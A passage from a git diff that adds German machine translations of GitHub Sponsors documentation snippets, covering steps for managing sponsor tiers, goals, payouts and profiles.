+ms.locfileid: "145132735"
+---
+Der Höchstpreis beträgt 12.000 USD pro Monat.
diff --git a/translations/de-DE/data/reusables/sponsors/meet-the-team.md b/translations/de-DE/data/reusables/sponsors/meet-the-team.md
new file mode 100644
index 0000000000..ede268712f
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/meet-the-team.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 5be40face9f4c5afa8f00161e518a8a8f1e1a8e8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132730"
+---
+1. Wähle optional die Organisationsmitglieder aus, die auf Deinem{% data variables.product.prodname_sponsors %}-Profil hervorgehoben sind.
+    - Klicke rechts neben „Das Team“ auf **Bearbeiten**.  
+        ![Schaltfläche „Organisationsmitglieder im Profil bearbeiten“](/assets/images/help/sponsors/edit-org-members-profile-button.png)
+    - Wähle bis zu sechs Organisationsmitglieder aus, und klicke dann auf **Speichern**.
+        ![Auswählen hervorgehobener Organisationsmitglieder](/assets/images/help/sponsors/select-highlighted-org-members.png)
+    - Gib optional unter dem Namen jedes hervorgehobenen Mitglieds eine Beschreibung des Mitglieds ein.
+        ![Beschreibung für hervorgehobene Organisationsmitglieder](/assets/images/help/sponsors/description-highlighted-org-members.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-github-sponsors.md b/translations/de-DE/data/reusables/sponsors/navigate-to-github-sponsors.md
new file mode 100644
index 0000000000..8bd8ded002
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-github-sponsors.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f596065adfe9f783005412d25bb4eb03d7b75c78
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132729"
+---
+1. Navigiere zu [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors).
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-payouts-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-payouts-tab.md
new file mode 100644
index 0000000000..f11434acb0
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-payouts-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4cac44825ba2a46783f181e7a31bde84ff2ea184
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132724"
+---
+1. Klicke auf der linken Randleiste auf **Auszahlungen**.
+  ![Registerkarte „Sponsorenebenen“](/assets/images/help/sponsors/payouts-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-profile-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-profile-tab.md
new file mode 100644
index 0000000000..a420cd0ec6
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-profile-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: febd3b002b57ce4f397da905ec08d608f565418c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132723"
+---
+1. Klicke auf der linken Randleiste auf **Profildetails**.
+  ![Registerkarte „Profildetails“](/assets/images/help/sponsors/profile-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md
new file mode 100644
index 0000000000..0436f165db
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsor-tiers-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 40b71e8f031cd8a520847b5ede5eccf3752ecb91
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132718"
+---
+1. Klicke auf der linken Randleiste auf **Sponsorenebenen**.
+  ![Registerkarte „Sponsorenebenen“](/assets/images/help/sponsors/sponsor-tiers-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-sponsored-account.md b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsored-account.md
new file mode 100644
index 0000000000..df0e826062
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsored-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ae9fc1d91480c2cf8d76590bd5af14ea5e90697c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132717"
+---
+1. Navigiere auf {% data variables.product.product_name %} zum Profil des gesponserten Kontos.
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-dashboard.md b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-dashboard.md
new file mode 100644
index 0000000000..e2d8402f7d
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-dashboard.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 97da6e16478273ce5b72e0af52069c1c06f40da0
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886273"
+---
+1. Klicke in der oberen rechten Ecke einer beliebigen Seite auf dein Profilfoto und anschließend auf **Deine Sponsoren**.
+![Schaltfläche {% data variables.product.prodname_sponsors %}](/assets/images/help/sponsors/access-github-sponsors-dashboard.png)
+2. Wenn eine Liste deiner gesponserten und berechtigten Konten angezeigt wird, klicke rechts neben dem Konto, das du verwalten möchtest, auf **Dashboard**.
+![Schaltfläche Dashboard Entwickler-Sponsoren](/assets/images/help/sponsors/dev-sponsors-dashboard-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-tab.md
new file mode 100644
index 0000000000..ec6e1855be
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-sponsors-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c9d3e6ae382eba643e89bec6f6bfd78c69c22d10
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132711"
+---
+3. Klicke auf der linken Randleiste auf **Deine Sponsoren**.
+  ![Registerkarte „Sponsoren“](/assets/images/help/sponsors/sponsors-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-webhooks-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-webhooks-tab.md
new file mode 100644
index 0000000000..a9d9cc0f07
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-webhooks-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0c2e0127c66b1d0c2accdb131d1691e2cbd1c052
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132706"
+---
+3. Klicke auf der linken Randleiste auf **Webhooks**.
+  ![Registerkarte „Webhooks“](/assets/images/help/sponsors/webhooks-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/navigate-to-your-goals-tab.md b/translations/de-DE/data/reusables/sponsors/navigate-to-your-goals-tab.md
new file mode 100644
index 0000000000..d44396480c
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/navigate-to-your-goals-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 94bd2c323bed9b15083bc2ec2537c74865d46295
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132675"
+---
+1. Klicke auf der linken Randleiste auf **Deine Ziele**.
+![Registerkarte „Deine Ziele“](/assets/images/help/sponsors/your-goals-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/no-fees.md b/translations/de-DE/data/reusables/sponsors/no-fees.md
new file mode 100644
index 0000000000..f3f9d61825
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/no-fees.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 24a17e4fee05525848ae744fe6ab18a0cb4c5ed4
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145132670"
+---
+{% data variables.product.prodname_sponsors %} erhebt keine Gebühren für das Sponsoring persönlicher Konten, sodass 100 % dieser Sponsorenbeiträge an den unterstützten Entwickler oder die unterstützte Organisation gehen. Die Gebühr von 10 % für Sponsoren aus Organisationen entfällt während der Betaphase.
diff --git a/translations/de-DE/data/reusables/sponsors/no-refunds.md b/translations/de-DE/data/reusables/sponsors/no-refunds.md
new file mode 100644
index 0000000000..69adeb6be5
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/no-refunds.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 903cbf3f68e8463e39d13ae4111514e0c1d1d65b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132669"
+---
+Es gibt keine Rückerstattung für Zahlungen für {% data variables.product.prodname_sponsors %}.
diff --git a/translations/de-DE/data/reusables/sponsors/opt-in-to-being-featured.md b/translations/de-DE/data/reusables/sponsors/opt-in-to-being-featured.md
new file mode 100644
index 0000000000..78d0ee0cd8
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/opt-in-to-being-featured.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: fc33205494591a581271548175f356d8202665aa
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876834"
+---
+1. Wähle optional **Opt-in to potentially being featured on github.com/sponsors (Anmelden, um möglicherweise auf github.com/sponsors vorgestellt zu werden)** .
+  ![Kontrollkästchen, um sich für die Vorstellung anzumelden](/assets/images/help/sponsors/opt-in-to-being-featured.png)
diff --git a/translations/de-DE/data/reusables/sponsors/org-sponsored-choose-updates.md b/translations/de-DE/data/reusables/sponsors/org-sponsored-choose-updates.md
new file mode 100644
index 0000000000..c77bb0704d
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/org-sponsored-choose-updates.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7fb5487e0b93f644a850d2c223b5210aa724010e
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145132663"
+---
+4. Wähle aus, ob du E-Mail-Aktualisierungen von der gesponserten Organisation erhalten möchtest. Aktiviere oder deaktiviere anschließend „Aktualisierungen von der _ORGANISATION_ erhalten“.
+  ![Kontrollkästchen um Aktualisierungen von gesponserten Organisation zu erhalten](/assets/images/help/sponsors/org-updates-checkbox-manage.png)
diff --git a/translations/de-DE/data/reusables/sponsors/org-sponsors-release-phase.md b/translations/de-DE/data/reusables/sponsors/org-sponsors-release-phase.md
new file mode 100644
index 0000000000..de59158d0e
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/org-sponsors-release-phase.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: d434dc648db909150833ff0e8e8b4712c680fb9b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132658"
+---
+{% note %}
+
+**Hinweis**: Das Sponsoring im Namen einer Organisation befindet sich derzeit in der Betaversion und kann noch geändert werden.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/sponsors/overview-tab.md b/translations/de-DE/data/reusables/sponsors/overview-tab.md
new file mode 100644
index 0000000000..cc51699fca
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/overview-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: aa6de24ab054b2b12784008323e476e4a97c6fdf
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886265"
+---
+1. Klicke auf der linken Randleiste auf **Übersicht**.
+  ![Registerkarte „Übersicht“](/assets/images/help/sponsors/overview-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/pay-prorated-amount.md b/translations/de-DE/data/reusables/sponsors/pay-prorated-amount.md
new file mode 100644
index 0000000000..51c1a9e98f
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/pay-prorated-amount.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f3ea88d3cbfd56f0764a4603e83353a7fd6cd4cf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132652"
+---
+1. Wenn du als Organisation als Sponsor auftrittst, klicke optional unter „Jetzt fälliger Gesamtbetrag“ auf **Stattdessen anteilig X,XX USD bezahlen**, um anstelle der vollständigen monatlichen Zahlung einen anteiligen Betrag zu zahlen.
+    ![Link zum Zahlen eines anteiligen Betrags](/assets/images/help/sponsors/pay-prorated-amount-link.png)
diff --git a/translations/de-DE/data/reusables/sponsors/payout-info.md b/translations/de-DE/data/reusables/sponsors/payout-info.md
new file mode 100644
index 0000000000..5606affada
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/payout-info.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c874cf6dea27f17df7d1e51648430bc51be4d990
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132651"
+---
+Weitere Informationen zur Terminierung für Zahlungen von {% data variables.product.prodname_sponsors %} findest du in den [zusätzlichen Bedingungen für GitHub Sponsors](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms#43-payment-timing).
diff --git a/translations/de-DE/data/reusables/sponsors/prorated-sponsorship.md b/translations/de-DE/data/reusables/sponsors/prorated-sponsorship.md
new file mode 100644
index 0000000000..6b56310321
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/prorated-sponsorship.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 51cac01ecd1eea947821d3f4563287e5164cd813
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132646"
+---
+Wenn du ein monatliches Sponsoring für dein persönliches Konto beginnst, wird dir sofort ein anteiliger Betrag für die Zeit bis zu deinem nächsten regulären Abrechnungstermin berechnet. Wenn du im Namen einer Organisation sponserst, kannst du wählen, ob du den anteiligen Betrag oder die volle monatliche Zahlung leistest.
diff --git a/translations/de-DE/data/reusables/sponsors/publish-goal.md b/translations/de-DE/data/reusables/sponsors/publish-goal.md
new file mode 100644
index 0000000000..d6de3884af
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/publish-goal.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 734438072b5e42b875456333e5a826c268c0c0ef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145132622"
+---
+1. Klicken Sie auf **Veröffentlichen**.
+![Schaltfläche "Veröffentlichen"](/assets/images/help/sponsors/publish-goal-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/publish-sponsor-update.md b/translations/de-DE/data/reusables/sponsors/publish-sponsor-update.md
new file mode 100644
index 0000000000..4c96b45878
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/publish-sponsor-update.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fa23732e8e77cfaf2affbdeabb77e6326a567a1e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132621"
+---
+7. Klicken Sie auf **Veröffentlichen**.
diff --git a/translations/de-DE/data/reusables/sponsors/request-approval.md b/translations/de-DE/data/reusables/sponsors/request-approval.md
new file mode 100644
index 0000000000..03ca1c5b6d
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/request-approval.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b42fc491d6fa725bdec32ccc74172b470c640ef1
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145132616"
+---
+1. Klicke auf **Genehmigung anfordern**.
+  ![Schaltfläche „Genehmigung anfordern“](/assets/images/help/sponsors/request-approval-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/retire-goal.md b/translations/de-DE/data/reusables/sponsors/retire-goal.md
new file mode 100644
index 0000000000..304b7cb05a
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/retire-goal.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: d71010430e273e07e31483be3de6a8bcf0b686b6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145132615"
+---
+1. Klicke unten auf der Seite auf **Einstellen**.
+![Schaltfläche „Einstellen“](/assets/images/help/sponsors/retire-goal-button.png)
+2. Lies die Warnung, und klicke dann auf **OK**. 
+![Warnung über das Einstellen eines Ziels](/assets/images/help/sponsors/confirm-retire-goal.png)
diff --git a/translations/de-DE/data/reusables/sponsors/retire-tier.md b/translations/de-DE/data/reusables/sponsors/retire-tier.md
new file mode 100644
index 0000000000..0d1e3dd7eb
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/retire-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 2a1c7d9cdb0acabe559017bfb3a793ac55b49b49
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877046"
+---
+7. Wenn du einen Tarif einstellen möchtest, klicke auf **Tarif einstellen**, und klicke dann auf **OK**.
+  ![Schaltfläche „Tarif einstellen“](/assets/images/help/sponsors/retire-tier-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/review-and-publish-tier.md b/translations/de-DE/data/reusables/sponsors/review-and-publish-tier.md
new file mode 100644
index 0000000000..dd2b583bf3
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/review-and-publish-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: fe1fc6423171b64c6bf8ef4eadb27f6ddf4e9232
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008199"
+---
+1. Überprüfe deinen Tarif, und klicke dann auf **Tarif veröffentlichen**.
+  ![Screenshot der Seite für einen neuen Tarif mit hervorgehobener Schaltfläche „Monatlichen Tarif veröffentlichen“](/assets/images/help/sponsors/publish-tier-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/review-tiers-to-select.md b/translations/de-DE/data/reusables/sponsors/review-tiers-to-select.md
new file mode 100644
index 0000000000..3440f78600
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/review-tiers-to-select.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0ba60bb37e18ba4deb0d051f2d12a484e13c1e31
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145134041"
+---
+1. Überprüfe rechts auf der Seite unter „Select a tier" (Eine Stufe wählen) die verfügbaren Sponsorship-Stufen. Wenn mehrere Tariftypen verfügbar sind, werden Monatstarife angezeigt. Klicke auf **Einmalig**, um die Tarife für einmalige Zahlungen anzuzeigen.
+  ![Anzeigen einmaliger Tarife](/assets/images/help/sponsors/show-one-time-tiers.png)
diff --git a/translations/de-DE/data/reusables/sponsors/save-profile.md b/translations/de-DE/data/reusables/sponsors/save-profile.md
new file mode 100644
index 0000000000..81eb308a65
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/save-profile.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9b9ee7cf5ff3ec27a216892c2c7a0fd6df029a5d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145132609"
+---
+1. Klicke auf **Profil aktualisieren**.
diff --git a/translations/de-DE/data/reusables/sponsors/save-tier-draft.md b/translations/de-DE/data/reusables/sponsors/save-tier-draft.md
new file mode 100644
index 0000000000..f3d4326f17
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/save-tier-draft.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4aac6b42cc61c96f1855d76bdc5256561ff1be4a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067609"
+---
+1. Klicke auf **Entwurf speichern**.
+  ![Schaltfläche „Entwurf speichern“](/assets/images/help/sponsors/save-tier-draft.png)
diff --git a/translations/de-DE/data/reusables/sponsors/select-a-tier.md b/translations/de-DE/data/reusables/sponsors/select-a-tier.md
new file mode 100644
index 0000000000..343e203ffa
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/select-a-tier.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 53f82bc1673a34075aa8f3a5a0cfa4cb501585b0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145134037"
+---
+1. Klicke rechts neben der gewünschten Ebene auf **Auswählen**. Wenn du einen benutzerdefinierten Betrag auswählen möchten, gib den Sponsorbetrag ein, bevor du auf „Auswählen“ klickst. 
+  ![Kontrollkästchen „Ebene auswählen“](/assets/images/help/sponsors/select-a-tier-box.png)
diff --git a/translations/de-DE/data/reusables/sponsors/select-goal-type.md b/translations/de-DE/data/reusables/sponsors/select-goal-type.md
new file mode 100644
index 0000000000..fab0844aa1
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/select-goal-type.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 3a5ef10ee703d24457f8b2b475089be45ae34243
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145067596"
+---
+1. Wähle unter „Worauf basiert dein Ziel?“ die Option **Anzahl der Sponsoren** oder **Sponsorings pro Monat** aus.
+![Verfügbare Zieltypen](/assets/images/help/sponsors/select-goal-type.png)
+2. Gib die Anzahl der Sponsoren ein, die Du haben möchtest, oder den gewünschten monatlichen Betrag, den Du anstrebst.
+3. Gib unter „Describe your goal" (Beschreibe Dein Ziel) eine Beschreibung für Dein Ziel ein.
+![Zieleinstellungen](/assets/images/help/sponsors/goal-settings.png)
+5. Wenn Du ein Ziel basierend auf Sponsoren-Beiträgen pro Monat auswählst, wähle „I understand that this will publicly display how much sponsorship funds I receive each month" (Ich verstehe, dass dies öffentlich anzeigt, wie viele Sponsoren-Beiträge ich monatlich erhalte).
+![Kontrollkästchen zum Bestätigen, dass dein Sponsorenbeitrag veröffentlicht wird](/assets/images/help/sponsors/sponsorships-published-checkbox.png)
diff --git a/translations/de-DE/data/reusables/sponsors/select-sponsorship-billing.md b/translations/de-DE/data/reusables/sponsors/select-sponsorship-billing.md
new file mode 100644
index 0000000000..26b44ffe79
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/select-sponsorship-billing.md
@@ -0,0 +1 @@
+4. Under "Billing information", review your payment details. Optionally, to change the payment details for your entire account on {% data variables.location.product_location %}, click **Edit**. Then, follow the prompts to complete the payment form.
diff --git a/translations/de-DE/data/reusables/sponsors/send-update-to-sponsors.md b/translations/de-DE/data/reusables/sponsors/send-update-to-sponsors.md
new file mode 100644
index 0000000000..d93e86afe2
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/send-update-to-sponsors.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 25dbba8a5d53650f7d28426929240e20049c52b0
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145067585"
+---
+5. Um deine E-Mail an Sponsoren auf bestimmten Ebenen zu senden, verwende optional das Dropdownmenü **Alle Sponsoren**, und wähle eine oder mehrere Ebenen aus.
+  ![Dropdownmenü zur Auswahl der Sponsorenebenen](/assets/images/help/sponsors/select-tiers-email.png)
diff --git a/translations/de-DE/data/reusables/sponsors/set-a-goal.md b/translations/de-DE/data/reusables/sponsors/set-a-goal.md
new file mode 100644
index 0000000000..b35fac8477
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/set-a-goal.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 0639ef18cdced34381bd5c33a4894aaa502fc8aa
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134026"
+---
+1. Klicke unter „Deine Ziele“ auf **Ein Ziel setzen**.
+![Schaltfläche „Ein Ziel setzen“](/assets/images/help/sponsors/set-a-goal-button.png)
diff --git a/translations/de-DE/data/reusables/sponsors/settings-tab.md b/translations/de-DE/data/reusables/sponsors/settings-tab.md
new file mode 100644
index 0000000000..463bf3a612
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/settings-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f0390d5047d21f5877417a8b0b0685c8a2a9133d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067572"
+---
+1. Klicke auf der linken Randleiste auf **Einstellungen**.
+  ![Registerkarte "Einstellungen"](/assets/images/help/sponsors/settings-tab.png)
diff --git a/translations/de-DE/data/reusables/sponsors/short-bio.md b/translations/de-DE/data/reusables/sponsors/short-bio.md
new file mode 100644
index 0000000000..c0e0c5a1d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/short-bio.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8ed9c9c71087e4e2a0e11d19ad3f60e2e760a9cc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145134025"
+---
+1. Gib unter „Short bio" (kurzer Lebenslauf) eine kurze Beschreibung von Dir selber und Deiner Arbeit ein.
+    ![Feld „Kurzer Lebenslauf“](/assets/images/help/sponsors/short-bio.png)
diff --git a/translations/de-DE/data/reusables/sponsors/sponsor-account.md b/translations/de-DE/data/reusables/sponsors/sponsor-account.md
new file mode 100644
index 0000000000..28d06f6847
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsor-account.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 6df58f1e06fee56eb18526a713fa2ecb9bd69515
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145067569"
+---
+1. Klicke auf **Sponsor-_KONTO_**.
+  ![Schaltfläche „Sponsor“](/assets/images/help/sponsors/sponsor-developer-button.png) (Unterstützen)
diff --git a/translations/de-DE/data/reusables/sponsors/sponsors-only-repos.md b/translations/de-DE/data/reusables/sponsors/sponsors-only-repos.md
new file mode 100644
index 0000000000..bb99cd751f
--- /dev/null
+++ b/translations/de-DE/data/reusables/sponsors/sponsors-only-repos.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dfa10ab03a327dfd6fb00bec355364134fd6130a
